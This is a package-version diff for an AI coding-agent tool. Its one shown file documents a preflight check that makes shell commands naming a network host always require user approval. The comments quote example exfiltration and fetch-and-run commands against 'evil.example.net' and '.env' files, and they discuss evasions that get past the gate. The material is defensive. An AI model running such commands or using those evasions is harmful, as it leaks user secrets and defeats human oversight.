@gaunt-sloth/core 2.0.0-alpha.24 → 2.0.0-alpha.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/config/colour.d.ts +38 -0
- package/dist/config/colour.js +36 -0
- package/dist/config/colour.js.map +1 -0
- package/dist/config/defaults.d.ts +1 -0
- package/dist/config/defaults.js +1 -0
- package/dist/config/defaults.js.map +1 -1
- package/dist/config/loader.d.ts +13 -6
- package/dist/config/loader.js +171 -28
- package/dist/config/loader.js.map +1 -1
- package/dist/config/mouse.d.ts +50 -0
- package/dist/config/mouse.js +44 -0
- package/dist/config/mouse.js.map +1 -0
- package/dist/config/schema.d.ts +2372 -114
- package/dist/config/schema.js +845 -16
- package/dist/config/schema.js.map +1 -1
- package/dist/config/shell-policy.d.ts +466 -116
- package/dist/config/shell-policy.js +273 -62
- package/dist/config/shell-policy.js.map +1 -1
- package/dist/config/tool-descriptions.d.ts +165 -0
- package/dist/config/tool-descriptions.js +229 -0
- package/dist/config/tool-descriptions.js.map +1 -0
- package/dist/config/types.d.ts +36 -1
- package/dist/config/types.js.map +1 -1
- package/dist/config.d.ts +3 -0
- package/dist/config.js +3 -0
- package/dist/config.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +59 -1
- package/dist/core/GthAbstractAgent.js +72 -0
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +341 -58
- package/dist/core/GthAgentRunner.js +817 -149
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.d.ts +16 -0
- package/dist/core/GthLangChainAgent.js +72 -2
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/approvals/annotations.d.ts +122 -0
- package/dist/core/approvals/annotations.js +137 -0
- package/dist/core/approvals/annotations.js.map +1 -0
- package/dist/core/approvals/grants.d.ts +216 -0
- package/dist/core/approvals/grants.js +469 -0
- package/dist/core/approvals/grants.js.map +1 -0
- package/dist/core/approvals/matcher.d.ts +202 -0
- package/dist/core/approvals/matcher.js +267 -0
- package/dist/core/approvals/matcher.js.map +1 -0
- package/dist/core/approvals/mcpSubjects.d.ts +40 -0
- package/dist/core/approvals/mcpSubjects.js +99 -0
- package/dist/core/approvals/mcpSubjects.js.map +1 -0
- package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
- package/dist/core/approvals/toolAnnotationSources.js +277 -0
- package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
- package/dist/core/approvals/toolHost.d.ts +46 -0
- package/dist/core/approvals/toolHost.js +108 -0
- package/dist/core/approvals/toolHost.js.map +1 -0
- package/dist/core/launchBanner.d.ts +120 -0
- package/dist/core/launchBanner.js +399 -0
- package/dist/core/launchBanner.js.map +1 -0
- package/dist/core/plainToolIndication.js +13 -7
- package/dist/core/plainToolIndication.js.map +1 -1
- package/dist/core/shell/approvalStop.d.ts +75 -0
- package/dist/core/shell/approvalStop.js +108 -0
- package/dist/core/shell/approvalStop.js.map +1 -0
- package/dist/core/shell/arity.d.ts +6 -0
- package/dist/core/shell/arity.js +20 -6
- package/dist/core/shell/arity.js.map +1 -1
- package/dist/core/shell/denylist.d.ts +11 -0
- package/dist/core/shell/denylist.js +37 -0
- package/dist/core/shell/denylist.js.map +1 -0
- package/dist/core/shell/normalize.d.ts +41 -1
- package/dist/core/shell/normalize.js +58 -4
- package/dist/core/shell/normalize.js.map +1 -1
- package/dist/core/shell/openWorld.d.ts +138 -0
- package/dist/core/shell/openWorld.js +523 -0
- package/dist/core/shell/openWorld.js.map +1 -0
- package/dist/core/shell/rater.d.ts +560 -0
- package/dist/core/shell/rater.js +895 -0
- package/dist/core/shell/rater.js.map +1 -0
- package/dist/core/shell/raterModel.d.ts +41 -0
- package/dist/core/shell/raterModel.js +51 -0
- package/dist/core/shell/raterModel.js.map +1 -0
- package/dist/core/shell/rejection.d.ts +66 -0
- package/dist/core/shell/rejection.js +38 -0
- package/dist/core/shell/rejection.js.map +1 -0
- package/dist/core/types.d.ts +71 -9
- package/dist/core/types.js.map +1 -1
- package/dist/runtime/askStructured.d.ts +8 -7
- package/dist/runtime/askStructured.js +8 -7
- package/dist/runtime/askStructured.js.map +1 -1
- package/dist/runtime/conversation.js +89 -76
- package/dist/runtime/conversation.js.map +1 -1
- package/dist/runtime/singleShot.js +71 -60
- package/dist/runtime/singleShot.js.map +1 -1
- package/dist/utils/ProgressIndicator.d.ts +21 -0
- package/dist/utils/ProgressIndicator.js +30 -3
- package/dist/utils/ProgressIndicator.js.map +1 -1
- package/dist/utils/consoleUtils.d.ts +30 -0
- package/dist/utils/consoleUtils.js +27 -2
- package/dist/utils/consoleUtils.js.map +1 -1
- package/dist/utils/systemUtils.d.ts +17 -0
- package/dist/utils/systemUtils.js +17 -0
- package/dist/utils/systemUtils.js.map +1 -1
- package/package.json +5 -2
- package/schema/gsloth-config.schema.json +1216 -417
- package/dist/core/shell/allowlist.d.ts +0 -75
- package/dist/core/shell/allowlist.js +0 -187
- package/dist/core/shell/allowlist.js.map +0 -1
- package/dist/core/shell/judge.d.ts +0 -161
- package/dist/core/shell/judge.js +0 -261
- package/dist/core/shell/judge.js.map +0 -1
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @module core/shell/openWorld
|
|
3
|
+
*
|
|
4
|
+
* EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
|
|
5
|
+
* **host literal in a fetch/transfer position**. A command that carries one is floored at
|
|
6
|
+
* `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
|
|
7
|
+
* so it is always asked about and can never be auto-approved.
|
|
8
|
+
*
|
|
9
|
+
* ## Why this is not a trust judgement, and must never become one
|
|
10
|
+
*
|
|
11
|
+
* §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
|
|
12
|
+
* model and a working developer were measured failing exactly that** — the developer flagged the
|
|
13
|
+
* *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
|
|
14
|
+
* preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
|
|
15
|
+
* about, and no misreading of a hostname can produce an auto-approve.
|
|
16
|
+
*
|
|
17
|
+
* It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
|
|
18
|
+
* attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
|
|
19
|
+
* be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
|
|
20
|
+
* hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
|
|
21
|
+
* therefore before this.
|
|
22
|
+
*
|
|
23
|
+
* ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
|
|
24
|
+
*
|
|
25
|
+
* The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
|
|
26
|
+
* there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
|
|
27
|
+
* misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
|
|
28
|
+
* *asked*. So:
|
|
29
|
+
*
|
|
30
|
+
* - a **false positive costs one prompt** — annoying, recoverable, visible;
|
|
31
|
+
* - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
|
|
32
|
+
* literal, which is the discrimination both a cheap model and a working developer were measured
|
|
33
|
+
* failing.
|
|
34
|
+
*
|
|
35
|
+
* **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
|
|
36
|
+
* it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
|
|
37
|
+
* arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
|
|
38
|
+
* upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
|
|
39
|
+
* a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
|
|
40
|
+
*
|
|
41
|
+
* ## The shape of the matcher
|
|
42
|
+
*
|
|
43
|
+
* Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
|
|
44
|
+
*
|
|
45
|
+
* 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
|
|
46
|
+
* composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
|
|
47
|
+
* preflight already floors those. So this matcher never has to parse a hard command — and it
|
|
48
|
+
* must not claim the finding, because "it names a host" would be a worse (and possibly false)
|
|
49
|
+
* explanation than "its target cannot be statically resolved".
|
|
50
|
+
* 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
|
|
51
|
+
* 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
|
|
52
|
+
* 4. **Test only the candidate operands** for a host literal.
|
|
53
|
+
*
|
|
54
|
+
* **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
|
|
55
|
+
* zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
|
|
56
|
+
* and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
|
|
57
|
+
* for free.
|
|
58
|
+
*
|
|
59
|
+
* **The project's own configured destinations are not host literals.** `git push origin main`,
|
|
60
|
+
* `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
|
|
61
|
+
* `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
|
|
62
|
+
* `routine-mutating` family unprompted.
|
|
63
|
+
*
|
|
64
|
+
* ## Known false positives, each DECLINED because the available fix costs an evasion
|
|
65
|
+
*
|
|
66
|
+
* Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
|
|
67
|
+
* one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
|
|
68
|
+
* every one of them was attempted and reverted:
|
|
69
|
+
*
|
|
70
|
+
* - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
|
|
71
|
+
* release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
|
|
72
|
+
* (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
|
|
73
|
+
* left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
|
|
74
|
+
* `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
|
|
75
|
+
* `rsync -a /srv/ evil.example.net:backup`.
|
|
76
|
+
* - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
|
|
77
|
+
* `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
|
|
78
|
+
* a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
|
|
79
|
+
* `git --quiet fetch <URL>`, both measured.
|
|
80
|
+
* - **An email address under a `git` subcommand word** — also `git config user.email
|
|
81
|
+
* jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
|
|
82
|
+
* prompt per machine setup, against a silent global fetch-redirect).
|
|
83
|
+
*
|
|
84
|
+
* The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
|
|
85
|
+
* here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
|
|
86
|
+
* command had already appeared, which is exactly what {@link HeadTier} withholds.
|
|
87
|
+
*
|
|
88
|
+
* And one that is intended by the rule rather than a defect: a **loopback IP** floors
|
|
89
|
+
* (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
|
|
90
|
+
* bare name is not. Carving loopback out needs a second address-classification rule with its own
|
|
91
|
+
* false-positive surface, for a one-prompt gain.
|
|
92
|
+
*/
|
|
93
|
+
/**
|
|
94
|
+
* Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
|
|
95
|
+
* `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
|
|
96
|
+
* counterparty trustworthy"* (§4.1.1).
|
|
97
|
+
*/
|
|
98
|
+
export declare function isHostLiteral(operand: string): boolean;
|
|
99
|
+
/**
|
|
100
|
+
* Find every **host literal in a fetch/transfer position**, or an empty array when the command names
|
|
101
|
+
* no counterparty (spec §4.6).
|
|
102
|
+
*
|
|
103
|
+
* Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
|
|
104
|
+
* caller can never accidentally hand this a form that has already lost the composition boundary
|
|
105
|
+
* the decline below depends on.
|
|
106
|
+
*
|
|
107
|
+
* Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
|
|
108
|
+
* classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
|
|
109
|
+
* them**, with a truer explanation than this one could give. Composed egress
|
|
110
|
+
* (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
|
|
111
|
+
* That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
|
|
112
|
+
* finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
|
|
113
|
+
* — and already escalating — before EXT-61 existed.
|
|
114
|
+
*
|
|
115
|
+
* **Every match is returned, not the first.** The first is not the target: for
|
|
116
|
+
* `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
|
|
117
|
+
* `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
|
|
118
|
+
* premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
|
|
119
|
+
* names the reassuring one and hides the other defeats the point of the layer.
|
|
120
|
+
*
|
|
121
|
+
* ## Why both the normalized AND the raw argv are tested
|
|
122
|
+
*
|
|
123
|
+
* {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
|
|
124
|
+
* `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
|
|
125
|
+
* normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
|
|
126
|
+
* head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
|
|
127
|
+
* reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
|
|
128
|
+
* Windows one easy to miss by reading.
|
|
129
|
+
*
|
|
130
|
+
* A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
|
|
131
|
+
* second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
|
|
132
|
+
* argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
|
|
133
|
+
* reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
|
|
134
|
+
*
|
|
135
|
+
* @param command The raw command string as the model proposed it.
|
|
136
|
+
* @returns The matched host literals, in argv order (used verbatim in the escalation reason).
|
|
137
|
+
*/
|
|
138
|
+
export declare function findOpenWorldHostLiterals(command: string): string[];
|